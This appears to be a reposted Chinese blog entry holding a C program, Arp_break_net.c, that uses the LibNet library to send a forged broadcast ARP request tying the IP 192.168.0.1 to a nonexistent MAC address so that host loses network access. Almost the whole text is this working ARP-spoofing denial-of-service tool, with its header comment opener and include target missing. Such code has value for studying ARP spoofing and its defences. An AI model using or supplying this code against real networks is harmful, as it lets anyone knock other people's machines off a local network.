程序名:Arp_break_net.c
用途 :演示通过ARP数据包使网络中的某主机无法连接网络
演示中192.168.0.1 将无法连接进入网络
编写 :cloud
时间 :2001-2-11
其他 :程序依赖LibNet
*/
#include
u_char enet_src[6] = {0,0,0,0}; //源MAC地址 (伪造的一个不存在MAC地址)
u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
//目标MAC地址(广播地址)
u_char ip_src[4] = {192,168,0,1};
//源IP地址 (被踢出网络的IP地址)
u_char ip_dst[4] = {192,168,0,255};
//目标IP地址 (随便一个IP地址)
int main(int argc, char *argv[])
{
int c;
char errbuf[256];
char *device = "eth0"; //数据包从第一个网卡发送出去
struct libnet_link_int *l;
l = libnet_open_link_interface(device, errbuf); //打开设备
if (!l)
{
fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);
exit(EXIT_FAILURE);
}
c = send_arp(l, device); //发送ARP数据包
return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}
int send_arp(struct link_int *l, u_char *device)
{
int n;
u_char *buf;
if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)
{
perror("libnet_init_packet memory:");
exit(EXIT_FAILURE);
}
/*
* 构造以太数据包头部信息
*/
libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
/*
* 构造ARP数据包头部信息
*/
libnet_build_arp(ARPHRD_ETHER,
ETHERTYPE_IP,
6,
4,
ARPOP_REQUEST,
enet_src,
ip_src,
enet_dst,
ip_dst,
NULL,
0,
buf + ETH_H);
n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H); //发送数据包
printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype);
libnet_destroy_packet(&buf);
return (n);
}
阅读(434) | 评论(0) | 转发(0) |